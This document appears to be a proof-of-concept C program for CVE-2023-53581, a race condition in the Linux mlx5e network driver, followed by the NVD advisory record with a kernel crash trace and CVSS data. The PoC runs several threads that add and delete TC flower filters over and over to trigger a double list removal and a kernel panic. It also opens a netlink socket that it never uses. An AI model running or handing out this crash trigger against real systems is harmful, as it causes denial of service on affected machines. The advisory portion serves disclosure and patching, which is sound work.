CVE-2023-53581

// CVE-2023-53581 PoC - Triggering race condition in mlx5e_tc_del_fdb_flow // This PoC demonstrates triggering the race condition by concurrently // manipulating TC flower filters while a workqueue processes unready flows. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <pthread.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> // Thread function to repeatedly add and delete TC flower filters void* race_thread(void* arg) { int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (sock < 0) { perror("socket"); return NULL; } struct sockaddr_nl addr; memset(&addr, 0, sizeof(addr)); addr.nl_family = AF_NETLINK; bind(sock, (struct sockaddr*)&addr, sizeof(addr)); for (int i = 0; i < 1000; i++) { // Add flower filter on mlx5e representor device // tc filter add dev <rep> protocol ip parent ffff: flower \ // dst_ip 192.168.1.1/32 action drop system("tc filter add dev eth0_0 protocol ip parent ffff: \ flower dst_ip 192.168.1.1/32 action drop 2>/dev/null"); // Immediately delete the filter to trigger NOT_READY path system("tc filter del dev eth0_0 protocol ip parent ffff: \ flower dst_ip 192.168.1.1/32 action drop 2>/dev/null"); usleep(1); // Small delay to increase race window } close(sock); return NULL; } int main() { pthread_t threads[4]; printf("CVE-2023-53581 PoC - mlx5e race condition\n"); printf("Requires: Mellanox mlx5e driver with TC offload enabled\n"); printf("Requires: Root privileges for TC filter manipulation\n\n"); // Create multiple threads to maximize race condition probability for (int i = 0; i < 4; i++) { pthread_create(&threads[i], NULL, race_thread, NULL); } for (int i = 0; i < 4; i++) { pthread_join(threads[i], NULL); } printf("PoC execution completed. Check dmesg for kernel crash.\n"); return 0; } // Compilation: gcc -o poc poc.c -lpthread // Run: sudo ./poc // Expected: System may experience kernel panic (general protection fault) // in mlx5e_tc_del_fdb_flow due to double-removal from unready_flows list.

{"cve": {"id": "CVE-2023-53581", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:53.820", "lastModified": "2026-03-23T18:33:24.803", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/mlx5e: Check for NOT_READY flag state after locking\n\nCurrently the check for NOT_READY flag is performed before obtaining the\nnecessary lock. This opens a possibility for race condition when the flow\nis concurrently removed from unready_flows list by the workqueue task,\nwhich causes a double-removal from the list and a crash[0]. Fix the issue\nby moving the flag check inside the section protected by\nuplink_priv->unready_flows_lock mutex.\n\n[0]:\n[44376.389654] general protection fault, probably for non-canonical address 0xdead000000000108: 0000 [#1] SMP\n[44376.391665] CPU: 7 PID: 59123 Comm: tc Not tainted 6.4.0-rc4+ #1\n[44376.392984] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.13.0-0-gf21b5a4aeb02-prebuilt.qemu.org 04/01/2014\n[44376.395342] RIP: 0010:mlx5e_tc_del_fdb_flow+0xb3/0x340 [mlx5_core]\n[44376.396857] Code: 00 48 8b b8 68 ce 02 00 e8 8a 4d 02 00 4c 8d a8 a8 01 00 00 4c 89 ef e8 8b 79 88 e1 48 8b 83 98 06 00 00 48 8b 93 90 06 00 00 <48> 89 42 08 48 89 10 48 b8 00 01 00 00 00 00 ad de 48 89 83 90 06\n[44376.399167] RSP: 0018:ffff88812cc97570 EFLAGS: 00010246\n[44376.399680] RAX: dead000000000122 RBX: ffff8881088e3800 RCX: ffff8881881bac00\n[44376.400337] RDX: dead000000000100 RSI: ffff88812cc97500 RDI: ffff8881242f71b0\n[44376.401001] RBP: ffff88811cbb0940 R08: 0000000000000400 R09: 0000000000000001\n[44376.401663] R10: 0000000000000001 R11: 0000000000000000 R12: ffff88812c944000\n[44376.402342] R13: ffff8881242f71a8 R14: ffff8881222b4000 R15: 0000000000000000\n[44376.402999] FS: 00007f0451104800(0000) GS:ffff88852cb80000(0000) knlGS:0000000000000000\n[44376.403787] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[44376.404343] CR2: 0000000000489108 CR3: 0000000123a79003 CR4: 0000000000370ea0\n[44376.405004] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n[44376.405665] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n[44376.406339] Call Trace:\n[44376.406651] <TASK>\n[44376.406939] ? die_addr+0x33/0x90\n[44376.407311] ? exc_general_protection+0x192/0x390\n[44376.407795] ? asm_exc_general_protection+0x22/0x30\n[44376.408292] ? mlx5e_tc_del_fdb_flow+0xb3/0x340 [mlx5_core]\n[44376.408876] __mlx5e_tc_del_fdb_peer_flow+0xbc/0xe0 [mlx5_core]\n[44376.409482] mlx5e_tc_del_flow+0x42/0x210 [mlx5_core]\n[44376.410055] mlx5e_flow_put+0x25/0x50 [mlx5_core]\n[44376.410529] mlx5e_delete_flower+0x24b/0x350 [mlx5_core]\n[44376.411043] tc_setup_cb_reoffload+0x22/0x80\n[44376.411462] fl_reoffload+0x261/0x2f0 [cls_flower]\n[44376.411907] ? mlx5e_rep_indr_setup_ft_cb+0x160/0x160 [mlx5_core]\n[44376.412481] ? mlx5e_rep_indr_setup_ft_cb+0x160/0x160 [mlx5_core]\n[44376.413044] tcf_block_playback_offloads+0x76/0x170\n[44376.413497] tcf_block_unbind+0x7b/0xd0\n[44376.413881] tcf_block_setup+0x17d/0x1c0\n[44376.414269] tcf_block_offload_cmd.isra.0+0xf1/0x130\n[44376.414725] tcf_block_offload_unbind+0x43/0x70\n[44376.415153] __tcf_block_put+0x82/0x150\n[44376.415532] ingress_destroy+0x22/0x30 [sch_ingress]\n[44376.415986] qdisc_destroy+0x3b/0xd0\n[44376.416343] qdisc_graft+0x4d0/0x620\n[44376.416706] tc_get_qdisc+0x1c9/0x3b0\n[44376.417074] rtnetlink_rcv_msg+0x29c/0x390\n[44376.419978] ? rep_movs_alternative+0x3a/0xa0\n[44376.420399] ? rtnl_calcit.isra.0+0x120/0x120\n[44376.420813] netlink_rcv_skb+0x54/0x100\n[44376.421192] netlink_unicast+0x1f6/0x2c0\n[44376.421573] netlink_sendmsg+0x232/0x4a0\n[44376.421980] sock_sendmsg+0x38/0x60\n[44376.422328] ____sys_sendmsg+0x1d0/0x1e0\n[44376.422709] ? copy_msghdr_from_user+0x6d/0xa0\n[44376.423127] ___sys_sendmsg+0x80/0xc0\n[44376.423495] ? ___sys_recvmsg+0x8b/0xc0\n[44376.423869] __sys_sendmsg+0x51/0x90\n[44376.424226] do_syscall_64+0x3d/0x90\n[44376.424587] entry_SYSCALL_64_after_hwframe+0x46/0xb0\n[44376.425046] RIP: 0033:0x7f045134f887\n[44376.425403] Code: 0a 00 f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b9 0f 1f 00 f3 0f 1e fa 64 8b 04 25 18 00 00 00 85 c0 75 10 b8 2e 00\n---truncated---"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, ... (truncated)